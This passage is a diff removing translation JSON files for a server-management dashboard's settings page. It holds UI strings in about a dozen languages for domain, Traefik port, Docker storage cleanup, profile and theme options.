"settings.server.webServer.updateServerIp": "Perbarui IP Server",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Ubah Environment",
"settings.server.webServer.traefik.managePorts": "Pengaturan Port Tambahan",
"settings.server.webServer.traefik.managePortsDescription": "Tambahkan atau hapus port tambahan untuk Traefik",
"settings.server.webServer.traefik.targetPort": "Port Tujuan",
"settings.server.webServer.traefik.publishedPort": "Port saai ini",
"settings.server.webServer.traefik.addPort": "Tambah Port",
"settings.server.webServer.traefik.portsUpdated": "Port berhasil diperbarui",
"settings.server.webServer.traefik.portsUpdateError": "Gagal memperbarui Port",
"settings.server.webServer.traefik.publishMode": "Pilihan mode Port",
"settings.server.webServer.storage.label": "Penyimpanan",
"settings.server.webServer.storage.cleanUnusedImages": "Hapus Image tidak terpakai",
"settings.server.webServer.storage.cleanUnusedVolumes": "Hapus Volume tidak terpakai",
"settings.server.webServer.storage.cleanStoppedContainers": "Hapus Container tidak aktif",
"settings.server.webServer.storage.cleanDockerBuilder": "Bersihkan Docker Builder & System",
"settings.server.webServer.storage.cleanMonitoring": "Bersihkan Monitoring",
"settings.server.webServer.storage.cleanAll": "Bersihkan",
"settings.profile.title": "Akun",
"settings.profile.description": "Ubah detail profil Anda di sini.",
"settings.profile.email": "Email",
"settings.profile.password": "Kata Sandi",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Tampilan",
"settings.appearance.description": "Sesuaikan tema dasbor Anda.",
"settings.appearance.theme": "Tema",
"settings.appearance.themeDescription": "Pilih tema untuk dasbor Anda",
"settings.appearance.themes.light": "Terang",
"settings.appearance.themes.dark": "Gelap",
"settings.appearance.themes.system": "Sistem",
"settings.appearance.language": "Bahasa",
"settings.appearance.languageDescription": "Pilih bahasa untuk dasbor Anda",
"settings.terminal.connectionSettings": "Pengaturan koneksi",
"settings.terminal.ipAddress": "Alamat IP",
"settings.terminal.port": "Port",
"settings.terminal.username": "Username"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "Salva",
"settings.server.domain.title": "Dominio del server",
"settings.server.domain.description": "Aggiungi un dominio alla tua applicazione server.",
"settings.server.domain.form.domain": "Dominio",
"settings.server.domain.form.letsEncryptEmail": "Email di Let's Encrypt",
"settings.server.domain.form.certificate.label": "Certificato",
"settings.server.domain.form.certificate.placeholder": "Seleziona un certificato",
"settings.server.domain.form.certificateOptions.none": "Nessuno",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Predefinito)",
"settings.server.webServer.title": "Server Web",
"settings.server.webServer.description": "Ricarica o pulisci il server web.",
"settings.server.webServer.actions": "Azioni",
"settings.server.webServer.reload": "Ricarica",
"settings.server.webServer.watchLogs": "Guarda i log",
"settings.server.webServer.updateServerIp": "Aggiorna IP del server",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Modifica Env",
"settings.server.webServer.storage.label": "Spazio",
"settings.server.webServer.storage.cleanUnusedImages": "Pulisci immagini inutilizzate",
"settings.server.webServer.storage.cleanUnusedVolumes": "Pulisci volumi inutilizzati",
"settings.server.webServer.storage.cleanStoppedContainers": "Pulisci container fermati",
"settings.server.webServer.storage.cleanDockerBuilder": "Pulisci Docker Builder e sistema",
"settings.server.webServer.storage.cleanMonitoring": "Pulisci monitoraggio",
"settings.server.webServer.storage.cleanAll": "Pulisci tutto",
"settings.profile.title": "Account",
"settings.profile.description": "Modifica i dettagli del tuo profilo qui.",
"settings.profile.email": "Email",
"settings.profile.password": "Password",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Aspetto",
"settings.appearance.description": "Personalizza il tema della tua dashboard.",
"settings.appearance.theme": "Tema",
"settings.appearance.themeDescription": "Seleziona un tema per la tua dashboard",
"settings.appearance.themes.light": "Chiaro",
"settings.appearance.themes.dark": "Scuro",
"settings.appearance.themes.system": "Sistema",
"settings.appearance.language": "Lingua",
"settings.appearance.languageDescription": "Seleziona una lingua per la tua dashboard"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "保存",
"settings.server.domain.title": "サーバードメイン",
"settings.server.domain.description": "サーバーアプリケーションにドメインを追加",
"settings.server.domain.form.domain": "ドメイン",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt メールアドレス",
"settings.server.domain.form.certificate.label": "証明書",
"settings.server.domain.form.certificate.placeholder": "証明書を選択",
"settings.server.domain.form.certificateOptions.none": "なし",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (デフォルト)",
"settings.server.webServer.title": "ウェブサーバー",
"settings.server.webServer.description": "ウェブサーバーをリロードまたはクリーンアップします",
"settings.server.webServer.actions": "アクション",
"settings.server.webServer.reload": "リロード",
"settings.server.webServer.watchLogs": "ログを監視",
"settings.server.webServer.updateServerIp": "サーバーIPを更新",
"settings.server.webServer.server.label": "サーバー",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "環境設定を変更",
"settings.server.webServer.storage.label": "ストレージ",
"settings.server.webServer.storage.cleanUnusedImages": "未使用のイメージを削除",
"settings.server.webServer.storage.cleanUnusedVolumes": "未使用のボリュームを削除",
"settings.server.webServer.storage.cleanStoppedContainers": "停止中のコンテナを削除",
"settings.server.webServer.storage.cleanDockerBuilder": "Docker ビルダー&システムをクリーンアップ",
"settings.server.webServer.storage.cleanMonitoring": "モニタリングをクリーンアップ",
"settings.server.webServer.storage.cleanAll": "すべてをクリーンアップ",
"settings.profile.title": "アカウント",
"settings.profile.description": "ここでプロフィールの詳細を変更できます",
"settings.profile.email": "メールアドレス",
"settings.profile.password": "パスワード",
"settings.profile.avatar": "アバター",
"settings.appearance.title": "外観",
"settings.appearance.description": "ダッシュボードのテーマをカスタマイズ",
"settings.appearance.theme": "テーマ",
"settings.appearance.themeDescription": "ダッシュボードのテーマを選択してください",
"settings.appearance.themes.light": "ライト",
"settings.appearance.themes.dark": "ダーク",
"settings.appearance.themes.system": "システム",
"settings.appearance.language": "言語",
"settings.appearance.languageDescription": "ダッシュボードの言語を選択してください"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "저장",
"settings.server.domain.title": "서버 도메인",
"settings.server.domain.description": "서버 애플리케이션에 도메인을 추가합니다.",
"settings.server.domain.form.domain": "도메인",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 이메일",
"settings.server.domain.form.certificate.label": "인증서",
"settings.server.domain.form.certificate.placeholder": "인증서 선택",
"settings.server.domain.form.certificateOptions.none": "없음",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (기본)",
"settings.server.webServer.title": "웹 서버",
"settings.server.webServer.description": "웹 서버를 재시작하거나 정리합니다.",
"settings.server.webServer.actions": "작업",
"settings.server.webServer.reload": "재시작",
"settings.server.webServer.watchLogs": "로그 보기",
"settings.server.webServer.updateServerIp": "서버 IP 갱신",
"settings.server.webServer.server.label": "서버",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "환경 변수 수정",
"settings.server.webServer.storage.label": "저장 공간",
"settings.server.webServer.storage.cleanUnusedImages": "사용하지 않는 이미지 정리",
"settings.server.webServer.storage.cleanUnusedVolumes": "사용하지 않는 볼륨 정리",
"settings.server.webServer.storage.cleanStoppedContainers": "정지된 컨테이너 정리",
"settings.server.webServer.storage.cleanDockerBuilder": "도커 빌더 & 시스템 정리",
"settings.server.webServer.storage.cleanMonitoring": "모니터링 데이터 정리",
"settings.server.webServer.storage.cleanAll": "전체 정리",
"settings.profile.title": "계정",
"settings.profile.description": "여기에서 프로필 세부 정보를 변경하세요.",
"settings.profile.email": "이메일",
"settings.profile.password": "비밀번호",
"settings.profile.avatar": "아바타",
"settings.appearance.title": "외관",
"settings.appearance.description": "대시보드의 테마를 사용자 설정합니다.",
"settings.appearance.theme": "테마",
"settings.appearance.themeDescription": "대시보드 테마 선택",
"settings.appearance.themes.light": "라이트",
"settings.appearance.themes.dark": "다크",
"settings.appearance.themes.system": "시스템",
"settings.appearance.language": "언어",
"settings.appearance.languageDescription": "대시보드에서 사용할 언어 선택"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,41 +0,0 @@
{
"settings.common.save": "Сақтау",
"settings.server.domain.title": "Сервер домені",
"settings.server.domain.description": "Dokploy сервер қолданбасына домен енгізіңіз.",
"settings.server.domain.form.domain": "Домен",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Эл. поштасы",
"settings.server.domain.form.certificate.label": "Сертификат",
"settings.server.domain.form.certificate.placeholder": "Сертификатты таңдаңыз",
"settings.server.domain.form.certificateOptions.none": "Жоқ",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Стандартты)",
"settings.server.webServer.title": "Веб-Сервер",
"settings.server.webServer.description": "Веб-серверді қайта жүктеу немесе тазалау.",
"settings.server.webServer.actions": "Әрекеттер",
"settings.server.webServer.reload": "Қайта жүктеу",
"settings.server.webServer.watchLogs": "Журналдарды қарау",
"settings.server.webServer.updateServerIp": "Сервердің IP жаңарту",
"settings.server.webServer.server.label": "Сервер",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Env Өзгерту",
"settings.server.webServer.storage.label": "Диск кеңістігі",
"settings.server.webServer.storage.cleanUnusedImages": "Пайдаланылмаған образды тазалау",
"settings.server.webServer.storage.cleanUnusedVolumes": "Пайдаланылмаған томды тазалау",
"settings.server.webServer.storage.cleanStoppedContainers": "Тоқтатылған контейнерлерді тазалау",
"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder & Системаны тазалау",
"settings.server.webServer.storage.cleanMonitoring": "Мониторингті тазалау",
"settings.server.webServer.storage.cleanAll": "Барлығын тазалау",
"settings.profile.title": "Аккаунт",
"settings.profile.description": "Профиль мәліметтерін осы жерден өзгертіңіз.",
"settings.profile.email": "Эл. пошта",
"settings.profile.password": "Құпия сөз",
"settings.profile.avatar": "Аватар",
"settings.appearance.title": "Сыртқы түрі",
"settings.appearance.description": "Dokploy сыртқы келбетін өзгерту.",
"settings.appearance.theme": "Келбеті",
"settings.appearance.themeDescription": "Жүйе тақтасының келбетің таңдаңыз",
"settings.appearance.themes.light": "Жарық",
"settings.appearance.themes.dark": "Қараңғы",
"settings.appearance.themes.system": "Жүйелік",
"settings.appearance.language": "Тіл",
"settings.appearance.languageDescription": "Жүйе тақтасының тілің таңдаңыз"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "സേവ് ചെയ്യുക",
"settings.common.enterTerminal": "ടർമിനലിൽ പ്രവേശിക്കുക",
"settings.server.domain.title": "സർവർ ഡോമെയ്ൻ",
"settings.server.domain.description": "നിങ്ങളുടെ സർവർ അപ്ലിക്കേഷനിൽ ഒരു ഡോമെയ്ൻ ചേർക്കുക.",
"settings.server.domain.form.domain": "ഡോമെയ്ൻ",
"settings.server.domain.form.letsEncryptEmail": "ലെറ്റ്സ് എൻക്രിപ്റ്റ് ഇമെയിൽ",
"settings.server.domain.form.certificate.label": "സർട്ടിഫിക്കറ്റ് പ്രൊവൈഡർ",
"settings.server.domain.form.certificate.placeholder": "ഒരു സർട്ടിഫിക്കറ്റ് തിരഞ്ഞെടുക്കുക",
"settings.server.domain.form.certificateOptions.none": "ഒന്നുമില്ല",
"settings.server.domain.form.certificateOptions.letsencrypt": "ലെറ്റ്സ് എൻക്രിപ്റ്റ്",
"settings.server.webServer.title": "വെബ് സർവർ",
"settings.server.webServer.description": "വെബ് സർവർ റീലോഡ് ചെയ്യുക അല്ലെങ്കിൽ ശുചീകരിക്കുക.",
"settings.server.webServer.actions": "നടപടികൾ",
"settings.server.webServer.reload": "റീലോഡ് ചെയ്യുക",
"settings.server.webServer.watchLogs": "ലോഗുകൾ കാണുക",
"settings.server.webServer.updateServerIp": "സർവർ IP അപ്ഡേറ്റ് ചെയ്യുക",
"settings.server.webServer.server.label": "സർവർ",
"settings.server.webServer.traefik.label": "ട്രാഫിക്",
"settings.server.webServer.traefik.modifyEnv": "ചുറ്റുപാടുകൾ മാറ്റുക",
"settings.server.webServer.traefik.managePorts": "അധിക പോർട്ട് മാപ്പിംഗ്",
"settings.server.webServer.traefik.managePortsDescription": "ട്രാഫിക്കിനായി അധിക പോർട്ടുകൾ ചേർക്കുക അല്ലെങ്കിൽ നീക്കം ചെയ്യുക",
"settings.server.webServer.traefik.targetPort": "ടാർഗറ്റ് പോർട്ട്",
"settings.server.webServer.traefik.publishedPort": "പ്രസിദ്ധീകരിച്ച പോർട്ട്",
"settings.server.webServer.traefik.addPort": "പോർട്ട് ചേർക്കുക",
"settings.server.webServer.traefik.portsUpdated": "പോർട്ടുകൾ വിജയകരമായി അപ്ഡേറ്റ് ചെയ്തു",
"settings.server.webServer.traefik.portsUpdateError": "പോർട്ടുകൾ അപ്ഡേറ്റ് ചെയ്യാൻ പരാജയപ്പെട്ടു",
"settings.server.webServer.traefik.publishMode": "പ്രസിദ്ധീകരണ മോഡ്",
"settings.server.webServer.storage.label": "ഇടം",
"settings.server.webServer.storage.cleanUnusedImages": "ഉപയോഗിക്കാത്ത ഇമേജുകൾ ശുചീകരിക്കുക",
"settings.server.webServer.storage.cleanUnusedVolumes": "ഉപയോഗിക്കാത്ത വോള്യങ്ങൾ ശുചീകരിക്കുക",
"settings.server.webServer.storage.cleanStoppedContainers": "നിർത്തിയ കണ്ടെയ്‌നറുകൾ ശുചീകരിക്കുക",
"settings.server.webServer.storage.cleanDockerBuilder": "ഡോക്കർ ബിൽഡറും സിസ്റ്റവും ശുചീകരിക്കുക",
"settings.server.webServer.storage.cleanMonitoring": "മോണിറ്ററിംഗ് ശുചീകരിക്കുക",
"settings.server.webServer.storage.cleanAll": "എല്ലാം ശുചീകരിക്കുക",
"settings.profile.title": "അക്കൗണ്ട്",
"settings.profile.description": "നിങ്ങളുടെ പ്രൊഫൈൽ വിശദാംശങ്ങൾ ഇവിടെ മാറ്റുക.",
"settings.profile.email": "ഇമെയിൽ",
"settings.profile.password": "പാസ്വേഡ്",
"settings.profile.avatar": "അവതാർ",
"settings.appearance.title": "ദൃശ്യമാനം",
"settings.appearance.description": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന്റെ തീം ഇഷ്ടാനുസൃതമാക്കുക.",
"settings.appearance.theme": "തീം",
"settings.appearance.themeDescription": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന് ഒരു തീം തിരഞ്ഞെടുക്കുക",
"settings.appearance.themes.light": "ലൈറ്റ്",
"settings.appearance.themes.dark": "ഡാർക്ക്",
"settings.appearance.themes.system": "സിസ്റ്റം",
"settings.appearance.language": "ഭാഷ",
"settings.appearance.languageDescription": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന് ഒരു ഭാഷ തിരഞ്ഞെടുക്കുക",
"settings.terminal.connectionSettings": "കണക്ഷൻ ക്രമീകരണങ്ങൾ",
"settings.terminal.ipAddress": "IP വിലാസം",
"settings.terminal.port": "പോർട്ട്",
"settings.terminal.username": "ഉപയോക്തൃനാമം"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Opslaan",
"settings.common.enterTerminal": "Terminal",
"settings.server.domain.title": "Server Domein",
"settings.server.domain.description": "Voeg een domein toe aan jouw server applicatie.",
"settings.server.domain.form.domain": "Domein",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Email",
"settings.server.domain.form.certificate.label": "Certificaat Aanbieder",
"settings.server.domain.form.certificate.placeholder": "Select een certificaat",
"settings.server.domain.form.certificateOptions.none": "Geen",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Web Server",
"settings.server.webServer.description": "Herlaad of maak de web server schoon.",
"settings.server.webServer.actions": "Acties",
"settings.server.webServer.reload": "Herladen",
"settings.server.webServer.watchLogs": "Bekijk Logs",
"settings.server.webServer.updateServerIp": "Update de Server IP",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Bewerk Omgeving",
"settings.server.webServer.traefik.managePorts": "Extra Poort Mappings",
"settings.server.webServer.traefik.managePortsDescription": "Bewerk extra Poorten voor Traefik",
"settings.server.webServer.traefik.targetPort": "Doel Poort",
"settings.server.webServer.traefik.publishedPort": "Gepubliceerde Poort",
"settings.server.webServer.traefik.addPort": "Voeg Poort toe",
"settings.server.webServer.traefik.portsUpdated": "Poorten succesvol aangepast",
"settings.server.webServer.traefik.portsUpdateError": "Poorten niet succesvol aangepast",
"settings.server.webServer.traefik.publishMode": "Publiceer Mode",
"settings.server.webServer.storage.label": "Opslag",
"settings.server.webServer.storage.cleanUnusedImages": "Maak ongebruikte images schoon",
"settings.server.webServer.storage.cleanUnusedVolumes": "Maak ongebruikte volumes schoon",
"settings.server.webServer.storage.cleanStoppedContainers": "Maak gestopte containers schoon",
"settings.server.webServer.storage.cleanDockerBuilder": "Maak Docker Builder & Systeem schoon",
"settings.server.webServer.storage.cleanMonitoring": "Maak monitoor schoon",
"settings.server.webServer.storage.cleanAll": "Maak alles schoon",
"settings.profile.title": "Account",
"settings.profile.description": "Veramder details van account.",
"settings.profile.email": "Email",
"settings.profile.password": "Wachtwoord",
"settings.profile.avatar": "Profiel Icoon",
"settings.appearance.title": "Uiterlijk",
"settings.appearance.description": "Verander het thema van je dashboard.",
"settings.appearance.theme": "Thema",
"settings.appearance.themeDescription": "Selecteer een thema voor je dashboard.",
"settings.appearance.themes.light": "Licht",
"settings.appearance.themes.dark": "Donker",
"settings.appearance.themes.system": "Systeem",
"settings.appearance.language": "Taal",
"settings.appearance.languageDescription": "Selecteer een taal voor je dashboard.",
"settings.terminal.connectionSettings": "Verbindings instellingen",
"settings.terminal.ipAddress": "IP Address",
"settings.terminal.port": "Poort",
"settings.terminal.username": "Gebruikersnaam"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,52 +0,0 @@
{
"settings.common.save": "Lagre",
"settings.server.domain.title": "Serverdomene",
"settings.server.domain.description": "Legg til et domene i serverapplikasjonen din.",
"settings.server.domain.form.domain": "Domene",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Epost",
"settings.server.domain.form.certificate.label": "Sertifikatleverandør",
"settings.server.domain.form.certificate.placeholder": "Velg et sertifikat",
"settings.server.domain.form.certificateOptions.none": "Ingen",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Webserver",
"settings.server.webServer.description": "Last på nytt eller rens webserveren.",
"settings.server.webServer.actions": "Handlinger",
"settings.server.webServer.reload": "Last på nytt",
"settings.server.webServer.watchLogs": "Se logger",
"settings.server.webServer.updateServerIp": "Oppdater server-IP",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Endre miljø",
"settings.server.webServer.traefik.managePorts": "Ytterligere portkartlegginger",
"settings.server.webServer.traefik.managePortsDescription": "Legg til eller fjern flere porter for Traefik",
"settings.server.webServer.traefik.targetPort": "Målport",
"settings.server.webServer.traefik.publishedPort": "Publisert port",
"settings.server.webServer.traefik.addPort": "Legg til port",
"settings.server.webServer.traefik.portsUpdated": "Portene ble oppdatert",
"settings.server.webServer.traefik.portsUpdateError": "Kunne ikke oppdatere portene",
"settings.server.webServer.traefik.publishMode": "Publiseringsmodus",
"settings.server.webServer.storage.label": "Lagring",
"settings.server.webServer.storage.cleanUnusedImages": "Rens ubrukte bilder",
"settings.server.webServer.storage.cleanUnusedVolumes": "Rens ubrukte volumer",
"settings.server.webServer.storage.cleanStoppedContainers": "Rens stoppete containere",
"settings.server.webServer.storage.cleanDockerBuilder": "Rens Docker Builder og System",
"settings.server.webServer.storage.cleanMonitoring": "Rens overvåking",
"settings.server.webServer.storage.cleanAll": "Rens alt",
"settings.profile.title": "Konto",
"settings.profile.description": "Endre detaljene for profilen din her.",
"settings.profile.email": "Epost",
"settings.profile.password": "Passord",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Utseende",
"settings.appearance.description": "Tilpass temaet for dashbordet ditt.",
"settings.appearance.theme": "Tema",
"settings.appearance.themeDescription": "Velg et tema for dashbordet ditt",
"settings.appearance.themes.light": "Lys",
"settings.appearance.themes.dark": "Mørk",
"settings.appearance.themes.system": "System",
"settings.appearance.language": "Språk",
"settings.appearance.languageDescription": "Velg et språk for dashbordet ditt"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Zapisz",
"settings.common.enterTerminal": "Otwórz terminal",
"settings.server.domain.title": "Domena",
"settings.server.domain.description": "Dodaj domenę do aplikacji",
"settings.server.domain.form.domain": "Domena",
"settings.server.domain.form.letsEncryptEmail": "Email Let's Encrypt",
"settings.server.domain.form.certificate.label": "Certyfikat",
"settings.server.domain.form.certificate.placeholder": "Wybierz certyfikat",
"settings.server.domain.form.certificateOptions.none": "Brak",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Domyślny)",
"settings.server.webServer.title": "Serwer",
"settings.server.webServer.description": "Przeładuj lub wyczyść serwer",
"settings.server.webServer.actions": "Akcje",
"settings.server.webServer.reload": "Przeładuj",
"settings.server.webServer.watchLogs": "Obserwuj logi",
"settings.server.webServer.updateServerIp": "Zaktualizuj IP serwera",
"settings.server.webServer.server.label": "Serwer",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Zmodyfikuj środowisko",
"settings.server.webServer.traefik.managePorts": "Dodatkowe mapowania portów",
"settings.server.webServer.traefik.managePortsDescription": "Dodaj lub usuń dodatkowe porty dla Traefik",
"settings.server.webServer.traefik.targetPort": "Port docelowy",
"settings.server.webServer.traefik.publishedPort": "Port opublikowany",
"settings.server.webServer.traefik.addPort": "Dodaj port",
"settings.server.webServer.traefik.portsUpdated": "Porty zaktualizowane pomyślnie",
"settings.server.webServer.traefik.portsUpdateError": "Nie udało się zaktualizować portów",
"settings.server.webServer.traefik.publishMode": "Tryb publikacji",
"settings.server.webServer.storage.label": "Przestrzeń",
"settings.server.webServer.storage.cleanUnusedImages": "Wyczyść nieużywane obrazy",
"settings.server.webServer.storage.cleanUnusedVolumes": "Wyczyść nieużywane wolumeny",
"settings.server.webServer.storage.cleanStoppedContainers": "Wyczyść zatrzymane kontenery",
"settings.server.webServer.storage.cleanDockerBuilder": "Wyczyść Docker Builder i System",
"settings.server.webServer.storage.cleanMonitoring": "Wyczyść monitorowanie",
"settings.server.webServer.storage.cleanAll": "Wyczyść wszystko",
"settings.profile.title": "Konto",
"settings.profile.description": "Zmień szczegóły swojego profilu",
"settings.profile.email": "Email",
"settings.profile.password": "Hasło",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Wygląd",
"settings.appearance.description": "Dostosuj motyw swojego pulpitu",
"settings.appearance.theme": "Motyw",
"settings.appearance.themeDescription": "Wybierz motyw swojego pulpitu",
"settings.appearance.themes.light": "Jasny",
"settings.appearance.themes.dark": "Ciemny",
"settings.appearance.themes.system": "System",
"settings.appearance.language": "Język",
"settings.appearance.languageDescription": "Wybierz język swojego pulpitu",
"settings.terminal.connectionSettings": "Ustawienia połączenia",
"settings.terminal.ipAddress": "Adres IP",
"settings.terminal.port": "Port",
"settings.terminal.username": "Nazwa użytkownika"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "Salvar",
"settings.server.domain.title": "Domínio do Servidor",
"settings.server.domain.description": "Configure o domínio do servidor",
"settings.server.domain.form.domain": "Domínio",
"settings.server.domain.form.letsEncryptEmail": "Email do Let's Encrypt",
"settings.server.domain.form.certificate.label": "Certificado",
"settings.server.domain.form.certificate.placeholder": "Selecione um Certificado",
"settings.server.domain.form.certificateOptions.none": "Nenhum",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Padrão)",
"settings.server.webServer.title": "Servidor web",
"settings.server.webServer.description": "Limpar e recarregar servidor web.",
"settings.server.webServer.actions": "Ações",
"settings.server.webServer.reload": "Recarregar",
"settings.server.webServer.watchLogs": "Ver logs",
"settings.server.webServer.updateServerIp": "Atualizar IP do Servidor",
"settings.server.webServer.server.label": "Servidor",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Alterar Env",
"settings.server.webServer.storage.label": "Armazenamento",
"settings.server.webServer.storage.cleanUnusedImages": "Limpar imagens não utilizadas",
"settings.server.webServer.storage.cleanUnusedVolumes": "Limpar volumes não utilizados",
"settings.server.webServer.storage.cleanStoppedContainers": "Limpar containers parados",
"settings.server.webServer.storage.cleanDockerBuilder": "Limpar Docker Builder & System",
"settings.server.webServer.storage.cleanMonitoring": "Limpar Monitoramento",
"settings.server.webServer.storage.cleanAll": "Limpar Tudo",
"settings.profile.title": "Conta",
"settings.profile.description": "Altere os detalhes do seu perfil aqui.",
"settings.profile.email": "Email",
"settings.profile.password": "Senha",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Aparencia",
"settings.appearance.description": "Personalize o tema do seu dashboard.",
"settings.appearance.theme": "Tema",
"settings.appearance.themeDescription": "Selecione um tema para o dashboard",
"settings.appearance.themes.light": "Claro",
"settings.appearance.themes.dark": "Escuro",
"settings.appearance.themes.system": "Automático",
"settings.appearance.language": "Linguagem",
"settings.appearance.languageDescription": "Selecione o idioma do dashboard"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Сохранить",
"settings.common.enterTerminal": "Открыть терминал",
"settings.server.domain.title": "Домен сервера",
"settings.server.domain.description": "Установите домен для вашего серверного приложения Dokploy.",
"settings.server.domain.form.domain": "Домен",
"settings.server.domain.form.letsEncryptEmail": "Email для Let's Encrypt",
"settings.server.domain.form.certificate.label": "Сертификат",
"settings.server.domain.form.certificate.placeholder": "Выберите сертификат",
"settings.server.domain.form.certificateOptions.none": "Нет",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Веб-сервер",
"settings.server.webServer.description": "Перезагрузка или очистка веб-сервера.",
"settings.server.webServer.actions": "Действия",
"settings.server.webServer.reload": "Перезагрузить",
"settings.server.webServer.watchLogs": "Просмотр логов",
"settings.server.webServer.updateServerIp": "Изменить IP адрес",
"settings.server.webServer.server.label": "Сервер",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Изменить переменные окружения",
"settings.server.webServer.traefik.managePorts": "Назначение портов",
"settings.server.webServer.traefik.managePortsDescription": "Добавить или удалить дополнительные порты для Traefik",
"settings.server.webServer.traefik.targetPort": "Внутренний порт",
"settings.server.webServer.traefik.publishedPort": "Внешний порт",
"settings.server.webServer.traefik.addPort": "Добавить порт",
"settings.server.webServer.traefik.portsUpdated": "Порты успешно обновлены",
"settings.server.webServer.traefik.portsUpdateError": "Не удалось обновить порты",
"settings.server.webServer.traefik.publishMode": "Режим сопоставления",
"settings.server.webServer.storage.label": "Дисковое пространство",
"settings.server.webServer.storage.cleanUnusedImages": "Очистить неиспользуемые образы",
"settings.server.webServer.storage.cleanUnusedVolumes": "Очистить неиспользуемые тома",
"settings.server.webServer.storage.cleanStoppedContainers": "Очистить остановленные контейнеры",
"settings.server.webServer.storage.cleanDockerBuilder": "Очистить Docker Builder и систему",
"settings.server.webServer.storage.cleanMonitoring": "Очистить мониторинг",
"settings.server.webServer.storage.cleanAll": "Очистить все",
"settings.profile.title": "Аккаунт",
"settings.profile.description": "Измените данные вашего профиля.",
"settings.profile.email": "Email",
"settings.profile.password": "Пароль",
"settings.profile.avatar": "Аватар",
"settings.appearance.title": "Внешний вид",
"settings.appearance.description": "Настройте тему Dokploy.",
"settings.appearance.theme": "Тема",
"settings.appearance.themeDescription": "Выберите тему системной панели",
"settings.appearance.themes.light": "Светлая",
"settings.appearance.themes.dark": "Темная",
"settings.appearance.themes.system": "Системная",
"settings.appearance.language": "Язык",
"settings.appearance.languageDescription": "Выберите язык для панели управления",
"settings.terminal.connectionSettings": "Настройки подключения",
"settings.terminal.ipAddress": "IP адрес",
"settings.terminal.port": "Порт",
"settings.terminal.username": "Имя пользователя"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "Kaydet",
"settings.server.domain.title": "Sunucu Alanı",
"settings.server.domain.description": "Sunucu uygulamanıza bir alan adı ekleyin.",
"settings.server.domain.form.domain": "Alan Adı",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-postası",
"settings.server.domain.form.certificate.label": "Sertifika",
"settings.server.domain.form.certificate.placeholder": "Bir sertifika seçin",
"settings.server.domain.form.certificateOptions.none": "Hiçbiri",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Varsayılan)",
"settings.server.webServer.title": "Web Sunucusu",
"settings.server.webServer.description": "Web sunucusunu yeniden yükleyin veya temizleyin.",
"settings.server.webServer.actions": "İşlemler",
"settings.server.webServer.reload": "Yeniden Yükle",
"settings.server.webServer.watchLogs": "Günlükleri İzle",
"settings.server.webServer.updateServerIp": "Sunucu IP'sini Güncelle",
"settings.server.webServer.server.label": "Sunucu",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Env Değiştir",
"settings.server.webServer.storage.label": "Alan",
"settings.server.webServer.storage.cleanUnusedImages": "Kullanılmayan görüntüleri temizle",
"settings.server.webServer.storage.cleanUnusedVolumes": "Kullanılmayan birimleri temizle",
